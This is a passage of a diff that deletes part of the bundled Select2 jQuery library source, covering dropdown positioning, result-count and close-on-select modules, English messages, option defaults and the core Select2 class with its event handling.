$watchers = this.$container.parents().filter(Utils.hasScroll); - $watchers.off(scrollEvent); - - $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent); - }; - - AttachBody.prototype._positionDropdown = function () { - var $window = $(window); - - var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above'); - var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below'); - - var newDirection = null; - - var offset = this.$container.offset(); - - offset.bottom = offset.top + this.$container.outerHeight(false); - - var container = { - height: this.$container.outerHeight(false) - }; - - container.top = offset.top; - container.bottom = offset.top + container.height; - - var dropdown = { - height: this.$dropdown.outerHeight(false) - }; - - var viewport = { - top: $window.scrollTop(), - bottom: $window.scrollTop() + $window.height() - }; - - var enoughRoomAbove = viewport.top < (offset.top - dropdown.height); - var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height); - - var css = { - left: offset.left, - top: container.bottom - }; - - // Determine what the parent element is to use for calculating the offset - var $offsetParent = this.$dropdownParent; - - // For statically positioned elements, we need to get the element - // that is determining the offset - if ($offsetParent.css('position') === 'static') { - $offsetParent = $offsetParent.offsetParent(); - } - - var parentOffset = { - top: 0, - left: 0 - }; - - if ( - $.contains(document.body, $offsetParent[0]) || - $offsetParent[0].isConnected - ) { - parentOffset = $offsetParent.offset(); - } - - css.top -= parentOffset.top; - css.left -= parentOffset.left; - - if (!isCurrentlyAbove && !isCurrentlyBelow) { - newDirection = 'below'; - } - - if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) { - newDirection = 'above'; - } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) { - newDirection = 'below'; - } - - if (newDirection == 'above' || - (isCurrentlyAbove && newDirection !== 'below')) { - css.top = container.top - parentOffset.top - dropdown.height; - } - - if (newDirection != null) { - this.$dropdown - .removeClass('select2-dropdown--below select2-dropdown--above') - .addClass('select2-dropdown--' + newDirection); - this.$container - .removeClass('select2-container--below select2-container--above') - .addClass('select2-container--' + newDirection); - } - - this.$dropdownContainer.css(css); - }; - - AttachBody.prototype._resizeDropdown = function () { - var css = { - width: this.$container.outerWidth(false) + 'px' - }; - - if (this.options.get('dropdownAutoWidth')) { - css.minWidth = css.width; - css.position = 'relative'; - css.width = 'auto'; - } - - this.$dropdown.css(css); - }; - - AttachBody.prototype._showDropdown = function (decorated) { - this.$dropdownContainer.appendTo(this.$dropdownParent); - - this._positionDropdown(); - this._resizeDropdown(); - }; - - return AttachBody; -}); - -S2.define('select2/dropdown/minimumResultsForSearch',[ - -], function () { - function countResults (data) { - var count = 0; - - for (var d = 0; d < data.length; d++) { - var item = data[d]; - - if (item.children) { - count += countResults(item.children); - } else { - count++; - } - } - - return count; - } - - function MinimumResultsForSearch (decorated, $element, options, dataAdapter) { - this.minimumResultsForSearch = options.get('minimumResultsForSearch'); - - if (this.minimumResultsForSearch < 0) { - this.minimumResultsForSearch = Infinity; - } - - decorated.call(this, $element, options, dataAdapter); - } - - MinimumResultsForSearch.prototype.showSearch = function (decorated, params) { - if (countResults(params.data.results) < this.minimumResultsForSearch) { - return false; - } - - return decorated.call(this, params); - }; - - return MinimumResultsForSearch; -}); - -S2.define('select2/dropdown/selectOnClose',[ - '../utils' -], function (Utils) { - function SelectOnClose () { } - - SelectOnClose.prototype.bind = function (decorated, container, $container) { - var self = this; - - decorated.call(this, container, $container); - - container.on('close', function (params) { - self._handleSelectOnClose(params); - }); - }; - - SelectOnClose.prototype._handleSelectOnClose = function (_, params) { - if (params && params.originalSelect2Event != null) { - var event = params.originalSelect2Event; - - // Don't select an item if the close event was triggered from a select or - // unselect event - if (event._type === 'select' || event._type === 'unselect') { - return; - } - } - - var $highlightedResults = this.getHighlightedResults(); - - // Only select highlighted results - if ($highlightedResults.length < 1) { - return; - } - - var data = Utils.GetData($highlightedResults[0], 'data'); - - // Don't re-select already selected resulte - if ( - (data.element != null && data.element.selected) || - (data.element == null && data.selected) - ) { - return; - } - - this.trigger('select', { - data: data - }); - }; - - return SelectOnClose; -}); - -S2.define('select2/dropdown/closeOnSelect',[ - -], function () { - function CloseOnSelect () { } - - CloseOnSelect.prototype.bind = function (decorated, container, $container) { - var self = this; - - decorated.call(this, container, $container); - - container.on('select', function (evt) { - self._selectTriggered(evt); - }); - - container.on('unselect', function (evt) { - self._selectTriggered(evt); - }); - }; - - CloseOnSelect.prototype._selectTriggered = function (_, evt) { - var originalEvent = evt.originalEvent; - - // Don't close if the control key is being held - if (originalEvent && (originalEvent.ctrlKey || originalEvent.metaKey)) { - return; - } - - this.trigger('close', { - originalEvent: originalEvent, - originalSelect2Event: evt - }); - }; - - return CloseOnSelect; -}); - -S2.define('select2/i18n/en',[],function () { - // English - return { - errorLoading: function () { - return 'The results could not be loaded.'; - }, - inputTooLong: function (args) { - var overChars = args.input.length - args.maximum; - - var message = 'Please delete ' + overChars + ' character'; - - if (overChars != 1) { - message += 's'; - } - - return message; - }, - inputTooShort: function (args) { - var remainingChars = args.minimum - args.input.length; - - var message = 'Please enter ' + remainingChars + ' or more characters'; - - return message; - }, - loadingMore: function () { - return 'Loading more results…'; - }, - maximumSelected: function (args) { - var message = 'You can only select ' + args.maximum + ' item'; - - if (args.maximum != 1) { - message += 's'; - } - - return message; - }, - noResults: function () { - return 'No results found'; - }, - searching: function () { - return 'Searching…'; - }, - removeAllItems: function () { - return 'Remove all items'; - } - }; -}); - -S2.define('select2/defaults',[ - 'jquery', - 'require', - - './results', - - './selection/single', - './selection/multiple', - './selection/placeholder', - './selection/allowClear', - './selection/search', - './selection/eventRelay', - - './utils', - './translation', - './diacritics', - - './data/select', - './data/array', - './data/ajax', - './data/tags', - './data/tokenizer', - './data/minimumInputLength', - './data/maximumInputLength', - './data/maximumSelectionLength', - - './dropdown', - './dropdown/search', - './dropdown/hidePlaceholder', - './dropdown/infiniteScroll', - './dropdown/attachBody', - './dropdown/minimumResultsForSearch', - './dropdown/selectOnClose', - './dropdown/closeOnSelect', - - './i18n/en' -], function ($, require, - - ResultsList, - - SingleSelection, MultipleSelection, Placeholder, AllowClear, - SelectionSearch, EventRelay, - - Utils, Translation, DIACRITICS, - - SelectData, ArrayData, AjaxData, Tags, Tokenizer, - MinimumInputLength, MaximumInputLength, MaximumSelectionLength, - - Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll, - AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect, - - EnglishTranslation) { - function Defaults () { - this.reset(); - } - - Defaults.prototype.apply = function (options) { - options = $.extend(true, {}, this.defaults, options); - - if (options.dataAdapter == null) { - if (options.ajax != null) { - options.dataAdapter = AjaxData; - } else if (options.data != null) { - options.dataAdapter = ArrayData; - } else { - options.dataAdapter = SelectData; - } - - if (options.minimumInputLength > 0) { - options.dataAdapter = Utils.Decorate( - options.dataAdapter, - MinimumInputLength - ); - } - - if (options.maximumInputLength > 0) { - options.dataAdapter = Utils.Decorate( - options.dataAdapter, - MaximumInputLength - ); - } - - if (options.maximumSelectionLength > 0) { - options.dataAdapter = Utils.Decorate( - options.dataAdapter, - MaximumSelectionLength - ); - } - - if (options.tags) { - options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags); - } - - if (options.tokenSeparators != null || options.tokenizer != null) { - options.dataAdapter = Utils.Decorate( - options.dataAdapter, - Tokenizer - ); - } - - if (options.query != null) { - var Query = require(options.amdBase + 'compat/query'); - - options.dataAdapter = Utils.Decorate( - options.dataAdapter, - Query - ); - } - - if (options.initSelection != null) { - var InitSelection = require(options.amdBase + 'compat/initSelection'); - - options.dataAdapter = Utils.Decorate( - options.dataAdapter, - InitSelection - ); - } - } - - if (options.resultsAdapter == null) { - options.resultsAdapter = ResultsList; - - if (options.ajax != null) { - options.resultsAdapter = Utils.Decorate( - options.resultsAdapter, - InfiniteScroll - ); - } - - if (options.placeholder != null) { - options.resultsAdapter = Utils.Decorate( - options.resultsAdapter, - HidePlaceholder - ); - } - - if (options.selectOnClose) { - options.resultsAdapter = Utils.Decorate( - options.resultsAdapter, - SelectOnClose - ); - } - } - - if (options.dropdownAdapter == null) { - if (options.multiple) { - options.dropdownAdapter = Dropdown; - } else { - var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch); - - options.dropdownAdapter = SearchableDropdown; - } - - if (options.minimumResultsForSearch !== 0) { - options.dropdownAdapter = Utils.Decorate( - options.dropdownAdapter, - MinimumResultsForSearch - ); - } - - if (options.closeOnSelect) { - options.dropdownAdapter = Utils.Decorate( - options.dropdownAdapter, - CloseOnSelect - ); - } - - if ( - options.dropdownCssClass != null || - options.dropdownCss != null || - options.adaptDropdownCssClass != null - ) { - var DropdownCSS = require(options.amdBase + 'compat/dropdownCss'); - - options.dropdownAdapter = Utils.Decorate( - options.dropdownAdapter, - DropdownCSS - ); - } - - options.dropdownAdapter = Utils.Decorate( - options.dropdownAdapter, - AttachBody - ); - } - - if (options.selectionAdapter == null) { - if (options.multiple) { - options.selectionAdapter = MultipleSelection; - } else { - options.selectionAdapter = SingleSelection; - } - - // Add the placeholder mixin if a placeholder was specified - if (options.placeholder != null) { - options.selectionAdapter = Utils.Decorate( - options.selectionAdapter, - Placeholder - ); - } - - if (options.allowClear) { - options.selectionAdapter = Utils.Decorate( - options.selectionAdapter, - AllowClear - ); - } - - if (options.multiple) { - options.selectionAdapter = Utils.Decorate( - options.selectionAdapter, - SelectionSearch - ); - } - - if ( - options.containerCssClass != null || - options.containerCss != null || - options.adaptContainerCssClass != null - ) { - var ContainerCSS = require(options.amdBase + 'compat/containerCss'); - - options.selectionAdapter = Utils.Decorate( - options.selectionAdapter, - ContainerCSS - ); - } - - options.selectionAdapter = Utils.Decorate( - options.selectionAdapter, - EventRelay - ); - } - - // If the defaults were not previously applied from an element, it is - // possible for the language option to have not been resolved - options.language = this._resolveLanguage(options.language); - - // Always fall back to English since it will always be complete - options.language.push('en'); - - var uniqueLanguages = []; - - for (var l = 0; l < options.language.length; l++) { - var language = options.language[l]; - - if (uniqueLanguages.indexOf(language) === -1) { - uniqueLanguages.push(language); - } - } - - options.language = uniqueLanguages; - - options.translations = this._processTranslations( - options.language, - options.debug - ); - - return options; - }; - - Defaults.prototype.reset = function () { - function stripDiacritics (text) { - // Used 'uni range + named function' from http://jsperf.com/diacritics/18 - function match(a) { - return DIACRITICS[a] || a; - } - - return text.replace(/[^\u0000-\u007E]/g, match); - } - - function matcher (params, data) { - // Always return the object if there is nothing to compare - if ($.trim(params.term) === '') { - return data; - } - - // Do a recursive check for options with children - if (data.children && data.children.length > 0) { - // Clone the data object if there are children - // This is required as we modify the object to remove any non-matches - var match = $.extend(true, {}, data); - - // Check each child of the option - for (var c = data.children.length - 1; c >= 0; c--) { - var child = data.children[c]; - - var matches = matcher(params, child); - - // If there wasn't a match, remove the object in the array - if (matches == null) { - match.children.splice(c, 1); - } - } - - // If any children matched, return the new object - if (match.children.length > 0) { - return match; - } - - // If there were no matching children, check just the plain object - return matcher(params, match); - } - - var original = stripDiacritics(data.text).toUpperCase(); - var term = stripDiacritics(params.term).toUpperCase(); - - // Check if the text contains the term - if (original.indexOf(term) > -1) { - return data; - } - - // If it doesn't contain the term, don't return anything - return null; - } - - this.defaults = { - amdBase: './', - amdLanguageBase: './i18n/', - closeOnSelect: true, - debug: false, - dropdownAutoWidth: false, - escapeMarkup: Utils.escapeMarkup, - language: {}, - matcher: matcher, - minimumInputLength: 0, - maximumInputLength: 0, - maximumSelectionLength: 0, - minimumResultsForSearch: 0, - selectOnClose: false, - scrollAfterSelect: false, - sorter: function (data) { - return data; - }, - templateResult: function (result) { - return result.text; - }, - templateSelection: function (selection) { - return selection.text; - }, - theme: 'default', - width: 'resolve' - }; - }; - - Defaults.prototype.applyFromElement = function (options, $element) { - var optionLanguage = options.language; - var defaultLanguage = this.defaults.language; - var elementLanguage = $element.prop('lang'); - var parentLanguage = $element.closest('[lang]').prop('lang'); - - var languages = Array.prototype.concat.call( - this._resolveLanguage(elementLanguage), - this._resolveLanguage(optionLanguage), - this._resolveLanguage(defaultLanguage), - this._resolveLanguage(parentLanguage) - ); - - options.language = languages; - - return options; - }; - - Defaults.prototype._resolveLanguage = function (language) { - if (!language) { - return []; - } - - if ($.isEmptyObject(language)) { - return []; - } - - if ($.isPlainObject(language)) { - return [language]; - } - - var languages; - - if (!$.isArray(language)) { - languages = [language]; - } else { - languages = language; - } - - var resolvedLanguages = []; - - for (var l = 0; l < languages.length; l++) { - resolvedLanguages.push(languages[l]); - - if (typeof languages[l] === 'string' && languages[l].indexOf('-') > 0) { - // Extract the region information if it is included - var languageParts = languages[l].split('-'); - var baseLanguage = languageParts[0]; - - resolvedLanguages.push(baseLanguage); - } - } - - return resolvedLanguages; - }; - - Defaults.prototype._processTranslations = function (languages, debug) { - var translations = new Translation(); - - for (var l = 0; l < languages.length; l++) { - var languageData = new Translation(); - - var language = languages[l]; - - if (typeof language === 'string') { - try { - // Try to load it with the original name - languageData = Translation.loadPath(language); - } catch (e) { - try { - // If we couldn't load it, check if it wasn't the full path - language = this.defaults.amdLanguageBase + language; - languageData = Translation.loadPath(language); - } catch (ex) { - // The translation could not be loaded at all. Sometimes this is - // because of a configuration problem, other times this can be - // because of how Select2 helps load all possible translation files - if (debug && window.console && console.warn) { - console.warn( - 'Select2: The language file for "' + language + '" could ' + - 'not be automatically loaded. A fallback will be used instead.' - ); - } - } - } - } else if ($.isPlainObject(language)) { - languageData = new Translation(language); - } else { - languageData = language; - } - - translations.extend(languageData); - } - - return translations; - }; - - Defaults.prototype.set = function (key, value) { - var camelKey = $.camelCase(key); - - var data = {}; - data[camelKey] = value; - - var convertedData = Utils._convertData(data); - - $.extend(true, this.defaults, convertedData); - }; - - var defaults = new Defaults(); - - return defaults; -}); - -S2.define('select2/options',[ - 'require', - 'jquery', - './defaults', - './utils' -], function (require, $, Defaults, Utils) { - function Options (options, $element) { - this.options = options; - - if ($element != null) { - this.fromElement($element); - } - - if ($element != null) { - this.options = Defaults.applyFromElement(this.options, $element); - } - - this.options = Defaults.apply(this.options); - - if ($element && $element.is('input')) { - var InputCompat = require(this.get('amdBase') + 'compat/inputData'); - - this.options.dataAdapter = Utils.Decorate( - this.options.dataAdapter, - InputCompat - ); - } - } - - Options.prototype.fromElement = function ($e) { - var excludedData = ['select2']; - - if (this.options.multiple == null) { - this.options.multiple = $e.prop('multiple'); - } - - if (this.options.disabled == null) { - this.options.disabled = $e.prop('disabled'); - } - - if (this.options.dir == null) { - if ($e.prop('dir')) { - this.options.dir = $e.prop('dir'); - } else if ($e.closest('[dir]').prop('dir')) { - this.options.dir = $e.closest('[dir]').prop('dir'); - } else { - this.options.dir = 'ltr'; - } - } - - $e.prop('disabled', this.options.disabled); - $e.prop('multiple', this.options.multiple); - - if (Utils.GetData($e[0], 'select2Tags')) { - if (this.options.debug && window.console && console.warn) { - console.warn( - 'Select2: The `data-select2-tags` attribute has been changed to ' + - 'use the `data-data` and `data-tags="true"` attributes and will be ' + - 'removed in future versions of Select2.' - ); - } - - Utils.StoreData($e[0], 'data', Utils.GetData($e[0], 'select2Tags')); - Utils.StoreData($e[0], 'tags', true); - } - - if (Utils.GetData($e[0], 'ajaxUrl')) { - if (this.options.debug && window.console && console.warn) { - console.warn( - 'Select2: The `data-ajax-url` attribute has been changed to ' + - '`data-ajax--url` and support for the old attribute will be removed' + - ' in future versions of Select2.' - ); - } - - $e.attr('ajax--url', Utils.GetData($e[0], 'ajaxUrl')); - Utils.StoreData($e[0], 'ajax-Url', Utils.GetData($e[0], 'ajaxUrl')); - } - - var dataset = {}; - - function upperCaseLetter(_, letter) { - return letter.toUpperCase(); - } - - // Pre-load all of the attributes which are prefixed with `data-` - for (var attr = 0; attr < $e[0].attributes.length; attr++) { - var attributeName = $e[0].attributes[attr].name; - var prefix = 'data-'; - - if (attributeName.substr(0, prefix.length) == prefix) { - // Get the contents of the attribute after `data-` - var dataName = attributeName.substring(prefix.length); - - // Get the data contents from the consistent source - // This is more than likely the jQuery data helper - var dataValue = Utils.GetData($e[0], dataName); - - // camelCase the attribute name to match the spec - var camelDataName = dataName.replace(/-([a-z])/g, upperCaseLetter); - - // Store the data attribute contents into the dataset since - dataset[camelDataName] = dataValue; - } - } - - // Prefer the element's `dataset` attribute if it exists - // jQuery 1.x does not correctly handle data attributes with multiple dashes - if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) { - dataset = $.extend(true, {}, $e[0].dataset, dataset); - } - - // Prefer our internal data cache if it exists - var data = $.extend(true, {}, Utils.GetData($e[0]), dataset); - - data = Utils._convertData(data); - - for (var key in data) { - if ($.inArray(key, excludedData) > -1) { - continue; - } - - if ($.isPlainObject(this.options[key])) { - $.extend(this.options[key], data[key]); - } else { - this.options[key] = data[key]; - } - } - - return this; - }; - - Options.prototype.get = function (key) { - return this.options[key]; - }; - - Options.prototype.set = function (key, val) { - this.options[key] = val; - }; - - return Options; -}); - -S2.define('select2/core',[ - 'jquery', - './options', - './utils', - './keys' -], function ($, Options, Utils, KEYS) { - var Select2 = function ($element, options) { - if (Utils.GetData($element[0], 'select2') != null) { - Utils.GetData($element[0], 'select2').destroy(); - } - - this.$element = $element; - - this.id = this._generateId($element); - - options = options || {}; - - this.options = new Options(options, $element); - - Select2.__super__.constructor.call(this); - - // Set up the tabindex - - var tabindex = $element.attr('tabindex') || 0; - Utils.StoreData($element[0], 'old-tabindex', tabindex); - $element.attr('tabindex', '-1'); - - // Set up containers and adapters - - var DataAdapter = this.options.get('dataAdapter'); - this.dataAdapter = new DataAdapter($element, this.options); - - var $container = this.render(); - - this._placeContainer($container); - - var SelectionAdapter = this.options.get('selectionAdapter'); - this.selection = new SelectionAdapter($element, this.options); - this.$selection = this.selection.render(); - - this.selection.position(this.$selection, $container); - - var DropdownAdapter = this.options.get('dropdownAdapter'); - this.dropdown = new DropdownAdapter($element, this.options); - this.$dropdown = this.dropdown.render(); - - this.dropdown.position(this.$dropdown, $container); - - var ResultsAdapter = this.options.get('resultsAdapter'); - this.results = new ResultsAdapter($element, this.options, this.dataAdapter); - this.$results = this.results.render(); - - this.results.position(this.$results, this.$dropdown); - - // Bind events - - var self = this; - - // Bind the container to all of the adapters - this._bindAdapters(); - - // Register any DOM event handlers - this._registerDomEvents(); - - // Register any internal event handlers - this._registerDataEvents(); - this._registerSelectionEvents(); - this._registerDropdownEvents(); - this._registerResultsEvents(); - this._registerEvents(); - - // Set the initial state - this.dataAdapter.current(function (initialData) { - self.trigger('selection:update', { - data: initialData - }); - }); - - // Hide the original select - $element.addClass('select2-hidden-accessible'); - $element.attr('aria-hidden', 'true'); - - // Synchronize any monitored attributes - this._syncAttributes(); - - Utils.StoreData($element[0], 'select2', this); - - // Ensure backwards compatibility with $element.data('select2'). - $element.data('select2', this); - }; - - Utils.Extend(Select2, Utils.Observable); - - Select2.prototype._generateId = function ($element) { - var id = ''; - - if ($element.attr('id') != null) { - id = $element.attr('id'); - } else if ($element.attr('name') != null) { - id = $element.attr('name') + '-' + Utils.generateChars(2); - } else { - id = Utils.generateChars(4); - } - - id = id.replace(/(:|\.|\[|\]|,)/g, ''); - id = 'select2-' + id; - - return id; - }; - - Select2.prototype._placeContainer = function ($container) { - $container.insertAfter(this.$element); - - var width = this._resolveWidth(this.$element, this.options.get('width')); - - if (width != null) { - $container.css('width', width); - } - }; - - Select2.prototype._resolveWidth = function ($element, method) { - var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i; - - if (method == 'resolve') { - var styleWidth = this._resolveWidth($element, 'style'); - - if (styleWidth != null) { - return styleWidth; - } - - return this._resolveWidth($element, 'element'); - } - - if (method == 'element') { - var elementWidth = $element.outerWidth(false); - - if (elementWidth <= 0) { - return 'auto'; - } - - return elementWidth + 'px'; - } - - if (method == 'style') { - var style = $element.attr('style'); - - if (typeof(style) !== 'string') { - return null; - } - - var attrs = style.split(';'); - - for (var i = 0, l = attrs.length; i < l; i = i + 1) { - var attr = attrs[i].replace(/\s/g, ''); - var matches = attr.match(WIDTH); - - if (matches !== null && matches.length >= 1) { - return matches[1]; - } - } - - return null; - } - - if (method == 'computedstyle') { - var computedStyle = window.getComputedStyle($element[0]); - - return computedStyle.width; - } - - return method; - }; - - Select2.prototype._bindAdapters = function () { - this.dataAdapter.bind(this, this.$container); - this.selection.bind(this, this.$container); - - this.dropdown.bind(this, this.$container); - this.results.bind(this, this.$container); - }; - - Select2.prototype._registerDomEvents = function () { - var self = this; - - this.$element.on('change.select2', function () { - self.dataAdapter.current(function (data) { - self.trigger('selection:update', { - data: data - }); - }); - }); - - this.$element.on('focus.select2', function (evt) { - self.trigger('focus', evt); - }); - - this._syncA = Utils.bind(this._syncAttributes, this); - this._syncS = Utils.bind(this._syncSubtree, this); - - if (this.$element[0].attachEvent) { - this.$element[0].attachEvent('onpropertychange', this._syncA); - } - - var observer = window.MutationObserver || - window.WebKitMutationObserver || - window.MozMutationObserver - ; - - if (observer != null) { - this._observer = new observer(function (mutations) { - self._syncA(); - self._syncS(null, mutations); - }); - this._observer.observe(this.$element[0], { - attributes: true, - childList: true, - subtree: false - }); - } else if (this.$element[0].addEventListener) { - this.$element[0].addEventListener( - 'DOMAttrModified', - self._syncA, - false - ); - this.$element[0].addEventListener( - 'DOMNodeInserted', - self._syncS, - false - ); - this.$element[0].addEventListener( - 'DOMNodeRemoved', - self._syncS, - false - ); - } - }; - - Select2.prototype._registerDataEvents = function () { - var self = this; - - this.dataAdapter.on('*', function (name, params) { - self.trigger(name, params); - }); - }; - - Select2.prototype._registerSelectionEvents = function () { - var self = this; - var nonRelayEvents = ['toggle', 'focus']; - - this.selection.on('toggle', function () { - self.toggleDropdown(); - }); - - this.selection.on('focus', function (params) { - self.focus(params); - }); - - this.selection.on('*', function (name, params) { - if ($.inArray(name, nonRelayEvents) !== -1) { - return; - } - - self.trigger(name, params); - }); - }; - - Select2.prototype._registerDropdownEvents = function () { - var self = this; - - this.dropdown.on('*', function (name, params) { - self.trigger(name, params); - }); - }; - - Select2.prototype._registerResultsEvents = function () { - var self = this; - - this.results.on('*', function (name, params) { - self.trigger(name, params); - }); - }; - - Select2.prototype._registerEvents = function () { - var self = this; - - this.on('open', function () { - self.$container.addClass('select2-container--open'); - }); - - this.on('close', function () { - self.$container.removeClass('select2-container--open'); - }); - - this.on('enable', function () { - self.$container.removeClass('select2-container--disabled'); - }); - - this.on('disable', function () { - self.$container.addClass('select2-container--disabled'); - }); - - this.on('blur', function () { - self.$container.removeClass('select2-container--focus'); - }); - - this.on('query', function (params) { - if (!self.isOpen()) { - self.trigger('open', {}); - } - - this.dataAdapter.query(params, function (data) { - self.trigger('results:all', { - data: data, - query: params - }); - }); - }); - - this.on('query:append', function (params) { - this.dataAdapter.query(params, function (data) { - self.trigger('results:append', { - data: data, - query: params - }); - }); - }); - - this.on('keypress', function (evt) { - var key = evt.which; - - if (self.isOpen()) { - if (key === KEYS.ESC || key === KEYS.TAB || - (key === KEYS.UP && evt.altKey)) { - self.close(evt); - - evt.preventDefault(); - } else if (key === KEYS.ENTER) { - self.trigger('results:select', {}); - - evt.preventDefault(); - } else if ((key === KEYS.SPACE && evt.ctrlKey)) { - self.trigger('results:toggle', {}); - - evt.preventDefault(); - } else if (key === KEYS.UP) { - self.trigger('results:previous', {}); - - evt.preventDefault(); - } else if (key === KEYS.DOWN) { - self.trigger('results:next', {}); - - evt.preventDefault(); - } - } else { - if (key === KEYS.ENTER || key === KEYS.SPACE || - (key === KEYS.DOWN && evt.altKey)) { - self.open(); - - evt.preventDefault(); - } - } - }); - }; - - Select2.prototype._syncAttributes = function () { - this.options.set('disabled', this.$element.prop('disabled')); - - if (this.isDisabled()) { - if (this.isOpen()) { - this.close(); - } - - this.trigger('disable', {}); - } else { - this.trigger('enable', {}); - } - }; - - Select2.prototype._isChangeMutation = function (evt, mutations) { - var changed = false; - var self = this; - - // Ignore any mutation events raised for elements that aren't options or - // optgroups. This handles the case when the select element is destroyed - if ( - evt && evt.target && ( - evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP' - ) - ) { - return; - } - - if (!mutations) { - // If mutation events aren't supported, then we can only assume that the - // change affected the selections - changed = true; - } else if (mutations.addedNodes && mutations.addedNodes.length > 0) { - for (var n = 0; n < mutations.addedNodes.length; n++) { - var node = mutations.addedNodes[n]; - - if (node.selected) { - changed = true; - } - } - } else if (mutations.removedNodes && mutations.removedNodes.length > 0) { - changed = true; - } else if ($.isArray(mutations)) { - $.each(mutations, function(evt, mutation) { - if (self._isChangeMutation(evt, mutation)) { - // We've found a change mutation. - // Let's escape from the loop and continue - changed = true; - return false; - } - }); - } - return changed; - }; - - Select2.prototype._syncSubtree = function (evt, mutations) { - var changed = this._isChangeMutation(evt, mutations); - var self = this; - - // Only re-pull the data if we think there is a change - if (changed) { - this.dataAdapter.current(function (currentData) { - self.trigger('selection:update', { - data: currentData - }); - }); - } - }; - - /** - * Override the trigger method to automatically trigger pre-events when - * there are events that can be prevented. - */ - Select2.prototype.trigger = function (name, args) { - var actualTrigger = Select2.__super__.trigger; - var preTriggerMap = { - 'open': 'opening', - 'close': 'closing', - 'select': 'selecting', - 'unselect': 'unselecting', - 'clear': 'clearing' - }; - - if (args === undefined) { - args = {}; - } - - if (name in preTriggerMap) { - var preTriggerName = preTriggerMap[name]; - var preTriggerArgs = { - prevented: false, - name: name, - args: args - }; - - actualTrigger.call(this, preTriggerName, preTriggerArgs); - - if (preTriggerArgs.prevented) { - args.prevented = true; - - return; - } - } - - actualTrigger.call(this, name, args); - }; - - Select2.prototype.toggleDropdown = function () { - if (this.isDisabled()) { - return; - } - - if (this.isOpen()) { - this.close(); - } else { - this.open(); - } - }; - - Select2.prototype.open = function () { - if (this.isOpen()) { - return; - } - - if (this.isDisabled()) { - return; - } - - this.trigger('query', {}); - }; - - Select2.prototype.close = function (evt) { - if (!this.isOpen()) { - return; - } - - this.trigger('close', { originalEvent : evt }); - }; - - /** - * Helper method to abstract the "enabled" (not "disabled") state of this - * object. - * - * @return {true} if the instance is not disabled. - * @return {false} if the instance is disabled. - */ - Select2.prototype.isEnabled = function () { - return !this.isDisabled(); - }; - - /** - * Helper method to abstract the "disabled" state of this object. - * - * @return {true} if the disabled option is true. - * @return {false} if the disabled option is false. - */ - Select2.prototype.isDisabled = function () { - return this.options.get('disabled'); - }; - - Select2.prototype.isOpen = function () { - return this.$container.hasClass('select2-container--open'); - }; - - Select2.prototype.hasFocus = function () { - return this.$container.hasClass('select2-container--focus'); - }; - - Select2.prototype.focus = function (data) { - // No need to re-trigger focus events if we are already focused - if (this.hasFocus()) { - return; - } - - this.$container.addClass('select2-container--focus'); - this.trigger('focus', {}); - }; - - Select2.prototype.enable = function (args) { - if (this.options.get('debug') && window.console && console.warn) { - console.warn( - 'Select2: The `select2("enable")` method has been deprecated and will' + - ' be removed in later Select2 versions. Use $element.prop("disabled")' + - ' instead.' - ); - } - - if (args == null || args.length === 0) { - args = [true]; - } - - var disabled = !args[0]; - - this.$element.prop('disabled', disabled); - }; - - Select2.prototype.data = function () { - if (this.options.get('debug') && - arguments.length > 0 && window.console && console.warn) { - console.warn( - 'Select2: Data can no longer be set using `select2("data")`. You ' + - 'should consider setting the value instead using `$element.val()`.' - ); - } - - var data = []; - - this.dataAdapter.current(function (currentData) { - data = currentData; - }); - - return data; - }; - - Select2.prototype.val = function (args) { - if (this.options.get('debug') && window.console && console.warn) { - console.warn( - 'Select2: The `select2("val")` method has been deprecated and will be' + - ' removed in later Select2 versions. Use $element.val() instead.' - ); - } - - if (args == null || args.length === 0) { - return this.$element.val(); - } - - var newVal = args[0]; - - if ($.isArray(newVal)) { - newVal = $.map(newVal, function (obj) { - return obj.toString(); - }); - } - - this.$element.val(newVal).trigger('input').trigger('change'); - }; - - Select2.prototype.destroy = function () { - this.$container.remove(); - - if (this.$element[0].detachEvent) { - this.$element[0].detachEvent('onpropertychange', this._syncA); - } - - if (this._observer != null) { - this._observer.disconnect(); - this._observer = null; - } else if (this.$element[0].removeEventListener) { - this.$element[0] - .removeEventListener('DOMAttrModified', this._syncA, false); - this.$element[0] - .removeEventListener('DOMNodeInserted', this._syncS, false); - this.$element[0] - .removeEventListener('DOMNodeRemoved', this._syncS, false); - } - - this._syncA = null; - this._syncS = null; - - this.$element.off('.select2'); - this.$element.attr('tabindex', - Utils.GetData(this.$element[0], 'old-tabindex')); - - this.$element.removeClass('select2-hidden-accessible'); - this.$element.attr('aria-hidden', 'false'); - Utils.RemoveData(this.$element[0]); - this.$element.removeData('select2'); - - this.dataAdapter.destroy(); - this.selection.destroy(); - this.dropdown.destroy(); - this.results.destroy(); - - this.dataAdapter = null; - this.selection = null; - this.dropdown = null; - this.results = null; - }; - - Select2.prototype.render = function () { - var $container = $( - '<span class="select2 select2-container">' + - '<span class="selection"></span>' + - '<span class="dropdown-wrapper" aria-hidden="true"></span>' + - '</span>' - ); - - $container.attr('dir', this.options.get('dir')); - - this.$container = $container; - - this.$container.addClass('select2-container--' + this.options.get('theme')); - - Utils.StoreData($container[0], 'element', this.$element); - - return $container; - }; - - return Select2; -}); - -S2.define('select2/compat/utils',[ - 'jquery' -], function ($) { - function syncCssClasses ($dest, $src, adapter) { - var classes, replacements = [], adapted; - - classes = $.trim($dest.attr('class')); - - if (classes) { - classes = '' + classes; // for IE which returns object - - $(classes.split(/\s+/)).each(function () { - // Save all Select2 classes - if (this.indexOf('select2-') === 0) { - replacements.push(this); - } - }); - } - - classes = $.trim($src.attr('class')); - - if (classes) { - classes = '' + classes; // for IE which returns object - - $(classes.split(/\s+/)).each(function () { - // Only adapt non-Select2 classes - if (this.indexOf('select2-') !== 0) { - adapted = adapter(this); - - if (adapted != null) { - 